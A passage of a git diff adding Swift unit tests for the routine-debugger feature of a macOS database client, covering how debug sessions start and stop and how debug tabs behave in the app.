controller.hasEnded } + + #expect(gate.sawCancellation) + #expect(debugger.startRequests.isEmpty) + try await waitUntil { !registry.hasActiveSessions } + } + + @Test("Turning the module off ends every run the registry holds") + func moduleOffEndsRuns() async throws { + let center = NotificationCenter() + let registry = RoutineDebugSessions(isModuleEnabled: { false }, notificationCenter: center) + let session = FakeDebugSession() + let tabId = UUID() + let (controller, _) = RoutineDebugFixtures.controller(session: session) + registry.register(controller, tabId: tabId, connectionId: UUID()) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + center.post(name: .appModulesDidChange, object: AppModule.routineDebugger) + await controller.waitUntilEnded() + + #expect(session.stopCount == 1) + #expect(registry.controller(forTab: tabId) == nil) + try await waitUntil { !registry.hasActiveSessions } + } + + @Test("A stop the plugin cannot confirm after its tab closed is reported on the window that held the tab") + func unconfirmedStopOfClosedTabIsReported() async throws { + let recorder = UnconfirmedStopRecorder() + let registry = RoutineDebugSessions(isModuleEnabled: { true }, reportUnconfirmedStop: { recorder.record($0, $1) }) + let session = FakeDebugSession(stopOutcome: .unconfirmed( + message: "Server process 4242 may still be running.", + detail: "End it with pg_terminate_backend(4242)." + )) + let (controller, _) = RoutineDebugFixtures.controller(session: session) + let tabId = UUID() + registry.register(controller, tabId: tabId, connectionId: UUID()) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + let window = NSWindow(contentRect: .zero, styleMask: [.titled], backing: .buffered, defer: true) + window.isReleasedWhenClosed = false + + registry.endSession(forTab: tabId, window: window) + try await waitUntil { !registry.hasActiveSessions } + + #expect(recorder.texts == ["Server process 4242 may still be running.\nEnd it with pg_terminate_backend(4242)."]) + #expect(recorder.windows.count == 1 && recorder.windows[0] === window) + } + + @Test("A confirmed stop after the tab closed reports nothing") + func confirmedStopOfClosedTabIsNotReported() async throws { + let recorder = UnconfirmedStopRecorder() + let registry = RoutineDebugSessions(isModuleEnabled: { true }, reportUnconfirmedStop: { recorder.record($0, $1) }) + let session = FakeDebugSession() + let (controller, _) = RoutineDebugFixtures.controller(session: session) + let tabId = UUID() + registry.register(controller, tabId: tabId, connectionId: UUID()) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + registry.endSession(forTab: tabId) + try await waitUntil { !registry.hasActiveSessions } + + #expect(session.stopCount == 1) + #expect(recorder.texts.isEmpty) + } + + @Test("An unconfirmed stop that ended while its tab still showed it is not reported again when the tab closes") + func unconfirmedStopShownInItsTabIsNotReported() async throws { + let recorder = UnconfirmedStopRecorder() + let registry = RoutineDebugSessions(isModuleEnabled: { true }, reportUnconfirmedStop: { recorder.record($0, $1) }) + let session = FakeDebugSession(stopOutcome: .unconfirmed(message: "Server process 4242 may still be running.", detail: nil)) + let (controller, _) = RoutineDebugFixtures.controller(session: session) + let tabId = UUID() + let connectionId = UUID() + registry.register(controller, tabId: tabId, connectionId: connectionId) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + await registry.stopAll(connectionId: connectionId) + registry.reopenAdmission(for: connectionId) + try await waitUntil { controller.hasEnded } + registry.endSession(forTab: tabId) + try await waitUntil { !registry.hasActiveSessions } + + #expect(controller.unconfirmedStop != nil) + #expect(recorder.texts.isEmpty) + } + + @Test("An unconfirmed stop a disconnect caused is reported once its tab goes with the connection") + func unconfirmedStopOfDisconnectIsReportedWhenItsTabCloses() async throws { + let recorder = UnconfirmedStopRecorder() + let registry = RoutineDebugSessions(isModuleEnabled: { true }, reportUnconfirmedStop: { recorder.record($0, $1) }) + let session = FakeDebugSession(stopOutcome: .unconfirmed(message: "Server process 4242 may still be running.", detail: nil)) + let (controller, _) = RoutineDebugFixtures.controller(session: session) + let tabId = UUID() + let connectionId = UUID() + registry.register(controller, tabId: tabId, connectionId: connectionId) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + await registry.stopAll(connectionId: connectionId, tabsCloseAfter: true) + registry.reopenAdmission(for: connectionId) + try await waitUntil { controller.hasEnded } + #expect(recorder.texts.isEmpty) + registry.endSession(forTab: tabId) + try await waitUntil { recorder.texts.count == 1 } + + #expect(recorder.texts == ["Server process 4242 may still be running."]) + } + + @Test("Two overlapping transport replacements keep the fence closed until the second one ends") + func nestedFencesReopenOnTheLast() async { + let registry = RoutineDebugSessions(isModuleEnabled: { true }) + let connectionId = UUID() + + await registry.stopAll(connectionId: connectionId) + await registry.stopAll(connectionId: connectionId) + let generation = registry.admissionGeneration(for: connectionId) + + registry.reopenAdmission(for: connectionId) + #expect(!registry.admits(connectionId, generation: generation)) + + registry.reopenAdmission(for: connectionId) + #expect(registry.admits(connectionId, generation: generation)) + + registry.reopenAdmission(for: connectionId) + await registry.stopAll(connectionId: connectionId) + #expect(!registry.admits(connectionId, generation: registry.admissionGeneration(for: connectionId))) + } +} diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugSheetTests.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugSheetTests.swift new file mode 100644 index 0000000000..5068b87827 --- /dev/null +++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugSheetTests.swift @@ -0,0 +1,58 @@ +// +// RoutineDebugSheetTests.swift +// TableProTests +// + +import AppKit +import Foundation +import SwiftUI +@testable import TablePro +import TableProTestSupport +import Testing + +@MainActor +struct RoutineDebugSheetTests { + private static func makeWindow() -> NSWindow { + let window = NSWindow( + contentRect: NSRect(x: 0, y: 0, width: 480, height: 320), + styleMask: [.titled, .closable], + backing: .buffered, + defer: true + ) + window.isReleasedWhenClosed = false + return window + } + + private static func present(on window: NSWindow, setup: RoutineDebugSetup) -> Task { + Task { + await RoutineDebugSheet.present(on: window, setup: setup) { (_: @escaping @MainActor (Int?) -> Void) in + Text(verbatim: "Sheet") + } + } + } + + @Test("Closing the window under the sheet answers it as cancelled") + func parentCloseAnswersTheSheet() async throws { + let window = Self.makeWindow() + let setup = RoutineDebugSetup() + let answer = Self.present(on: window, setup: setup) + try await waitUntil { setup.dismissPresentation != nil } + + window.close() + + #expect(await answer.value == nil) + #expect(setup.dismissPresentation == nil) + } + + @Test("A sheet already answered ignores its window closing afterwards") + func parentCloseAfterAnswerResumesNothing() async throws { + let window = Self.makeWindow() + let setup = RoutineDebugSetup() + let answer = Self.present(on: window, setup: setup) + try await waitUntil { setup.dismissPresentation != nil } + + setup.cancel() + #expect(await answer.value == nil) + window.close() + } +} diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugStartFlowTests.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugStartFlowTests.swift new file mode 100644 index 0000000000..c941d9bfbc --- /dev/null +++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugStartFlowTests.swift @@ -0,0 +1,132 @@ +// +// RoutineDebugStartFlowTests.swift +// TableProTests +// + +import Foundation +@testable import TablePro +import TableProPluginKit +import TableProTestSupport +import Testing + +@MainActor +private final class FlowRecorder { + var moduleEnabled = true + var prepared: [RoutineDebugPick] = [] + var sheets = 0 + var openedScopes: [DatabaseScope] = [] + var failures = 0 + var opened: Int { openedScopes.count } + + func flow( + onPrepare: @escaping @MainActor () -> Void = {}, + onSheet: @escaping @MainActor () -> Void = {} + ) -> RoutineDebugStartFlow { + RoutineDebugStartFlow( + isModuleEnabled: { self.moduleEnabled }, + prepare: { pick in + self.prepared.append(pick) + onPrepare() + return RoutineDebugFixtures.plan() + }, + presentStartSheet: { _, _ in + self.sheets += 1 + onSheet() + return RoutineDebugStartChoice(entryPoint: RoutineDebugFixtures.entryPoint, arguments: [], optionValues: [:]) + }, + reportFailure: { _, _ in self.failures += 1 }, + open: { _, _, scope in self.openedScopes.append(scope) } + ) + } +} + +private let connectionId = UUID() +private let salesPick = RoutineDebugPick( + target: RoutineDebugFixtures.target, + scope: DatabaseScope(connectionId: connectionId, database: "sales", schema: "public") +) + +@MainActor +struct RoutineDebugStartFlowTests { + @Test("A routine chosen after the module went off reads nothing and shows no start sheet") + func chooserAnsweredAfterModuleOff() async { + let recorder = FlowRecorder() + let setup = RoutineDebugSetup() + + await recorder.flow().choose(setup: setup) { _ in + recorder.moduleEnabled = false + return salesPick + } + + #expect(recorder.prepared.isEmpty) + #expect(recorder.sheets == 0) + #expect(recorder.opened == 0) + } + + @Test("A setup cancelled while the plan loads shows no start sheet and opens no tab") + func cancelledWhilePreparing() async { + let recorder = FlowRecorder() + let setup = RoutineDebugSetup() + + await recorder.flow(onPrepare: { setup.cancel() }).run(salesPick, setup: setup) + + #expect(recorder.prepared.count == 1) + #expect(recorder.sheets == 0) + #expect(recorder.opened == 0) + } + + @Test("With the module on, a chosen routine reaches its start sheet and its tab") + func completeFlowOpensTheTab() async { + let recorder = FlowRecorder() + + await recorder.flow().choose(setup: RoutineDebugSetup()) { _ in salesPick } + + #expect(recorder.prepared == [salesPick]) + #expect(recorder.sheets == 1) + #expect(recorder.opened == 1) + } + + @Test("A routine keeps the database it was chosen in when the browse database moves before it starts") + func chosenDatabaseIsFrozen() async { + let recorder = FlowRecorder() + var browseDatabase = "sales" + + await recorder.flow(onSheet: { browseDatabase = "hr" }).choose(setup: RoutineDebugSetup()) { _ in + RoutineDebugPick( + RoutineDebugFixtures.target, + listedIn: DatabaseScope(connectionId: connectionId, database: browseDatabase, schema: "public") + ) + } + + #expect(browseDatabase == "hr") + #expect(recorder.prepared.map { $0.scope.database } == ["sales"]) + #expect(recorder.openedScopes.map { $0.database } == ["sales"]) + } + + @Test("A chooser pick takes the listed database and the routine's own schema") + func pickTakesTheListedDatabase() { + let listed = DatabaseScope(connectionId: connectionId, database: "sales", schema: "reporting") + let target = PluginDebugTarget(identity: "1", name: "f", schema: "public", kindDisplayName: "Function") + let unqualified = PluginDebugTarget(identity: "2", name: "g", schema: nil, kindDisplayName: "Function") + + #expect(RoutineDebugPick(target, listedIn: listed).scope + == DatabaseScope(connectionId: connectionId, database: "sales", schema: "public")) + #expect(RoutineDebugPick(unqualified, listedIn: listed).scope == listed) + } + + @Test("Turning the module off dismisses every chooser and start sheet still on screen") + func moduleOffCancelsPendingSetups() async throws { + let center = NotificationCenter() + let registry = RoutineDebugSessions(isModuleEnabled: { false }, notificationCenter: center) + let setup = RoutineDebugSetup() + var dismissed = false + setup.dismissPresentation = { dismissed = true } + registry.beginSetup(setup) + + center.post(name: .appModulesDidChange, object: AppModule.routineDebugger) + try await waitUntil { setup.isCancelled } + + #expect(dismissed) + registry.endSetup(setup) + } +} diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugStartModelTests.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugStartModelTests.swift new file mode 100644 index 0000000000..1207107d44 --- /dev/null +++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugStartModelTests.swift @@ -0,0 +1,60 @@ +// +// RoutineDebugStartModelTests.swift +// TableProTests +// + +import Foundation +@testable import TablePro +import TableProPluginKit +import Testing + +@MainActor +struct RoutineDebugStartModelTests { + private func plan(options: [ConnectionField]) -> PluginDebugPlan { + PluginDebugPlan( + target: PluginDebugTarget(identity: "1", name: "f", schema: nil, kindDisplayName: "Function"), + entryPoints: [PluginDebugEntryPoint(identity: "1", displayName: "f()", parameters: [])], + mayWrite: false, + options: options + ) + } + + private var protocolField: ConnectionField { + ConnectionField( + id: "protocol", + label: "Protocol", + defaultValue: "jdwp", + fieldType: .dropdown(options: [ + .init(value: "jdwp", label: "JDWP"), + .init(value: "dbms", label: "DBMS_DEBUG"), + ]) + ) + } + + private var hostField: ConnectionField { + ConnectionField( + id: "host", + label: "Debugger Host", + defaultValue: "10.0.0.5", + visibleWhen: FieldVisibilityRule(fieldId: "protocol", values: ["jdwp"]) + ) + } + + @Test("A start option shows only while the option it depends on has a matching value") + func optionFollowsItsVisibilityRule() { + let model = RoutineDebugStartModel(plan: plan(options: [protocolField, hostField]), rememberedOption: { _ in nil }) + + #expect(model.isVisible(hostField)) + model.setOption("dbms", for: "protocol") + #expect(!model.isVisible(hostField)) + } + + @Test("A hidden start option is not sent with the request") + func hiddenOptionIsNotSent() { + let model = RoutineDebugStartModel(plan: plan(options: [protocolField, hostField]), rememberedOption: { _ in nil }) + + model.setOption("dbms", for: "protocol") + + #expect(model.choice()?.optionValues == ["protocol": "dbms"]) + } +} diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugTabTests.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugTabTests.swift new file mode 100644 index 0000000000..7006795fd8 --- /dev/null +++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugTabTests.swift @@ -0,0 +1,292 @@ +// +// RoutineDebugTabTests.swift +// TableProTests +// + +import Foundation +@testable import TablePro +import TableProPluginKit +import TableProTestSupport +import Testing + +// A debug tab holds a live session: every way it can go away stops that session first, and none of the app's outside surfaces see it. +@MainActor +@Suite(.serialized) +struct RoutineDebugTabTests { + private func openDebugTab( + in fixture: CoordinatorFixture, + session: FakeDebugSession = FakeDebugSession(), + drivers: DebugDriverLog = DebugDriverLog(), + startBehavior: FakeStartBehavior = .immediate + ) -> (tabId: UUID, controller: RoutineDebugController) { + let (controller, _) = RoutineDebugFixtures.controller(session: session, drivers: drivers, startBehavior: startBehavior) + let tabId = UUID() + RoutineDebugSessions.shared.register(controller, tabId: tabId, connectionId: fixture.connection.id) + fixture.tabManager.addRoutineDebugTab( + id: tabId, + title: QueryTabManager.routineDebugTitle(for: "order_total"), + databaseName: "app", + schemaName: "public" + ) + return (tabId, controller) + } + + @Test("A debug tab is titled for its routine from the moment it opens") + func titleIsRightFromCreation() { + let fixture = CoordinatorFixture() + let (tabId, controller) = openDebugTab(in: fixture) + defer { RoutineDebugSessions.shared.endSession(forTab: tabId) } + + let tab = fixture.tabManager.tabs.first { $0.id == tabId } + #expect(tab?.tabType == .routineDebug) + #expect(tab?.title == String(format: String(localized: "Debug %@"), "order_total")) + #expect(fixture.tabManager.selectedTabId == tabId) + #expect(fixture.coordinator.frontRoutineDebugController === controller) + let payload = EditorTabPayload(connectionId: UUID(), tabType: .routineDebug, tabTitle: " ") + #expect(!WindowTitleResolver.resolveTitle(payload: payload, databaseType: .postgresql, queryLanguageName: nil).isBlank) + } + + @Test("Closing a debug tab stops its session and closes every driver it opened") + func closingTheTabStopsTheSession() async throws { + let fixture = CoordinatorFixture() + let session = FakeDebugSession() + let drivers = DebugDriverLog() + let (tabId, controller) = openDebugTab(in: fixture, session: session, drivers: drivers) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + fixture.coordinator.closeTabsByUser(ids: [tabId]) + await controller.waitUntilEnded() + + #expect(session.stopCount == 1) + #expect(drivers.openedCount == 2) + #expect(drivers.closedCount == 2) + #expect(RoutineDebugSessions.shared.controller(forTab: tabId) == nil) + #expect(!RecentlyClosedTabStore.shared.entries.contains { $0.tab.id == tabId }) + } + + @Test("Closing a debug tab while its run is still starting cancels the start and closes its drivers") + func closingTheTabWhileStarting() async throws { + let fixture = CoordinatorFixture() + let drivers = DebugDriverLog() + let (tabId, controller) = openDebugTab(in: fixture, drivers: drivers, startBehavior: .untilCancelled) + controller.start() + try await waitUntil { drivers.openedCount == 2 } + + fixture.coordinator.closeTabsByUser(ids: [tabId]) + try await waitUntil { controller.hasEnded } + + #expect(drivers.closedCount == 2) + #expect(!fixture.tabManager.tabs.contains { $0.id == tabId }) + guard case .stopped = controller.state else { + Issue.record("expected stopped, got \(controller.state)") + return + } + } + + @Test("Tearing the window down stops the sessions of its debug tabs") + func teardownStopsTheSession() async throws { + let fixture = CoordinatorFixture() + let session = FakeDebugSession() + let (_, controller) = openDebugTab(in: fixture, session: session) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + fixture.coordinator.teardown() + await controller.waitUntilEnded() + + #expect(session.stopCount == 1) + } + + @Test("Stopping a connection's sessions waits for each target to end") + func stopAllForConnection() async throws { + let fixture = CoordinatorFixture() + let session = FakeDebugSession() + let (tabId, controller) = openDebugTab(in: fixture, session: session) + defer { RoutineDebugSessions.shared.endSession(forTab: tabId) } + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + let other = UUID() + await RoutineDebugSessions.shared.stopAll(connectionId: other) + RoutineDebugSessions.shared.reopenAdmission(for: other) + #expect(session.stopCount == 0) + await RoutineDebugSessions.shared.stopAll(connectionId: fixture.connection.id) + RoutineDebugSessions.shared.reopenAdmission(for: fixture.connection.id) + + #expect(session.stopCount == 1) + #expect(controller.hasEnded) + } + + @Test("Turning the module off closes every debug tab and stops its session") + func moduleOffClosesDebugTabs() async throws { + let fixture = CoordinatorFixture() + fixture.coordinator.registerEagerly() + let session = FakeDebugSession() + let (tabId, controller) = openDebugTab(in: fixture, session: session) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + try #require(!AppModuleSettings.shared.isEnabled(.routineDebugger)) + + NotificationCenter.default.post(name: .appModulesDidChange, object: AppModule.routineDebugger) + try await waitUntil { !fixture.tabManager.tabs.contains { $0.id == tabId } } + await controller.waitUntilEnded() + + #expect(session.stopCount == 1) + #expect(RoutineDebugSessions.shared.controller(forTab: tabId) == nil) + } + + @Test("A debug tab refuses a move to another connection") + func debugTabRefusesAMove() { + let fixture = CoordinatorFixture() + let (tabId, _) = openDebugTab(in: fixture) + defer { RoutineDebugSessions.shared.endSession(forTab: tabId) } + + #expect(!fixture.coordinator.canMoveTabToConnection(tabId)) + } + + @Test("A debug tab is never written with the connection's tabs") + func debugTabIsNotPersisted() async { + let persistence = TabPersistenceCoordinator(connectionId: UUID()) + persistence.markObservedTabs() + defer { TabDiskActor.clearSync(connectionId: persistence.connectionId) } + let query = QueryTab(title: "Query 1", query: "SELECT 1", tabType: .query) + let debug = QueryTab(title: "Debug order_total", tabType: .routineDebug) + + persistence.saveNowSync(tabs: [query, debug], selectedTabId: debug.id) + let state = await TabDiskActor.shared.load(connectionId: persistence.connectionId) + + #expect(state?.tabs.map { $0.id } == [query.id]) + #expect(state?.selectedTabId == query.id) + } + + @Test("A window holding only a debug tab writes nothing over the saved tabs") + func onlyDebugTabWritesNothing() async { + let persistence = TabPersistenceCoordinator(connectionId: UUID()) + persistence.markObservedTabs() + defer { TabDiskActor.clearSync(connectionId: persistence.connectionId) } + + persistence.saveNowSync(tabs: [QueryTab(title: "Debug f", tabType: .routineDebug)], selectedTabId: nil) + + #expect(await TabDiskActor.shared.load(connectionId: persistence.connectionId) == nil) + } + + @Test("Closing the last saved tab while a debug tab stays open clears the saved tabs") + func closingLastSavedTabBesideDebugTabClears() async { + let fixture = CoordinatorFixture() + fixture.coordinator.registerEagerly() + fixture.coordinator.persistence.markObservedTabs() + defer { TabDiskActor.clearSync(connectionId: fixture.connection.id) } + let query = fixture.addTab(QueryTab(title: "Query 1", query: "SELECT 1", tabType: .query)) + fixture.coordinator.persistence.saveNowSync(tabs: [query], selectedTabId: query.id) + let (tabId, _) = openDebugTab(in: fixture) + defer { RoutineDebugSessions.shared.endSession(forTab: tabId) } + + fixture.coordinator.closeTabsByUser(ids: [query.id]) + + #expect(await TabDiskActor.shared.load(connectionId: fixture.connection.id) == nil) + } + + @Test("MCP clients never see a debug tab") + func debugTabIsLeftOutOfMCPSnapshots() { + let fixture = CoordinatorFixture() + fixture.coordinator.registerEagerly() + let query = fixture.addTab(QueryTab(title: "Query 1", query: "SELECT 1", tabType: .query)) + let (tabId, _) = openDebugTab(in: fixture) + defer { RoutineDebugSessions.shared.endSession(forTab: tabId) } + + let snapshots = MCPTabSnapshotProvider.collectTabSnapshots() + + #expect(snapshots.contains { $0.tabId == query.id }) + #expect(!snapshots.contains { $0.tabId == tabId }) + } + + @Test("AppleScript has no tab kind for a debug tab") + func debugTabHasNoScriptingKind() { + let tab = QueryTab(title: "Debug f", tabType: .routineDebug) + + #expect(ScriptEnumerations.code(for: .routineDebug) == nil) + #expect(ScriptTab(tab: tab, connectionId: UUID(), container: nil) == nil) + } + + @Test("The debugger dials its dedicated drivers on the frozen database with no query timeout") + func liveSourceOpensWithoutQueryTimeout() async throws { + let requested = TimeoutLog() + let plugin = FakeDebugDriver() + let connectionId = UUID() + let source = RoutineDebugSessionSource.live( + scope: DatabaseScope(connectionId: connectionId, database: "sales", schema: nil), + generation: RoutineDebugSessions.shared.admissionGeneration(for: connectionId) + ) { scope, timeout in + requested.record(timeout, database: scope.database) + return PluginDriverAdapter(connection: TestFixtures.makeConnection(), pluginDriver: plugin) + } + + let driver = try await source.openSession() + await source.closeAll() + + #expect(requested.values == [0]) + #expect(requested.databases == ["sales"]) + #expect(driver === plugin) + } + + @Test("Debug… from a sidebar row keeps that row's database and schema, not the one being browsed") + func sidebarPickKeepsTheRowsDatabase() { + let fixture = CoordinatorFixture() + let routine = RoutineInfo(name: "order_total", kind: .function, schema: "public", identity: "16431") + + let pick = fixture.coordinator.routineDebugPick( + for: RoutineDebugFixtures.target, + routine: routine, + database: "sales", + schema: "reporting" + ) + + #expect(fixture.coordinator.browseDatabaseName != "sales") + #expect(pick?.scope.database == "sales") + #expect(pick?.scope.schema == "reporting") + #expect(pick?.scope.connectionId == fixture.connection.id) + } + + @Test("A debug tab stays in sight when the sidebar moves to another database, and keeps the database it runs in") + func debugTabStaysVisibleAcrossContainers() { + let manager = QueryTabManager(containerTarget: .database, visibleContainer: "sales") + var query = QueryTab(title: "Query 1", query: "SELECT 1", tabType: .query) + query.tableContext.databaseName = "sales" + manager.tabs.append(query) + let debugId = manager.addRoutineDebugTab(title: "Debug order_total", databaseName: "sales", schemaName: "public") + + manager.show(container: "hr") + + #expect(manager.visibleTabs.map { $0.id } == [debugId]) + #expect(manager.tabs.first { $0.id == debugId }?.tableContext.databaseName == "sales") + manager.show(container: "sales") + #expect(Set(manager.visibleTabs.map { $0.id }) == [query.id, debugId]) + } + + @Test("A payload never opens a debug tab, which needs a live session") + func payloadOpensNoDebugTab() { + let manager = QueryTabManager() + let payload = EditorTabPayload(connectionId: UUID(), tabType: .routineDebug, tabTitle: "Debug f") + + EditorTabOpener.apply(payload, to: manager, connection: TestFixtures.makeConnection(), toolbarState: nil) + + #expect(manager.tabs.isEmpty) + } +} + +private final class TimeoutLog: @unchecked Sendable { + private let lock = NSLock() + private var recorded: [Int] = [] + private var dialed: [String] = [] + + var values: [Int] { lock.withLock { recorded } } + var databases: [String] { lock.withLock { dialed } } + + func record(_ timeout: Int, database: String) { + lock.withLock { + recorded.append(timeout) + dialed.append(database) + } + } +} diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugToolbarTests.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugToolbarTests.swift new file mode 100644 index 0000000000..07a89bd7c0 --- /dev/null +++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugToolbarTests.swift @@ -0,0 +1,187 @@ +// +// RoutineDebugToolbarTests.swift +// TableProTests +// + +import AppKit +@testable import TablePro +import TableProPluginKit +import Testing + +@MainActor +struct RoutineDebugToolbarTests { + private static let pair = Set(MainWindowToolbar.debugDefaultItemIdentifiers) + + private static func hidden( + tabKind: TabType?, + contentMode: ConnectionWorkspaceContentMode = .browse, + showsDebugItems: Bool = true + ) -> Set { + let context = ToolbarContext( + tabKind: tabKind, + contentMode: contentMode, + pane: .content, + isConnected: true, + hasSelectedWorkspace: true, + supportsContainerSwitching: true, + showsDebugItems: showsDebugItems + ) + return ToolbarContextResolver.visibility(for: context.visibilityKey).hidden + } + + @Test("Continue and Stop sit ahead of the Actions pull-down, and only while the module is on") + func defaultSetPlacesThePair() throws { + let withDebug = MainWindowToolbar.defaultItems(includingDebugItems: true) + let actions = try #require(withDebug.firstIndex(of: MainWindowToolbar.actions)) + + #expect(Array(withDebug[(actions - 2)..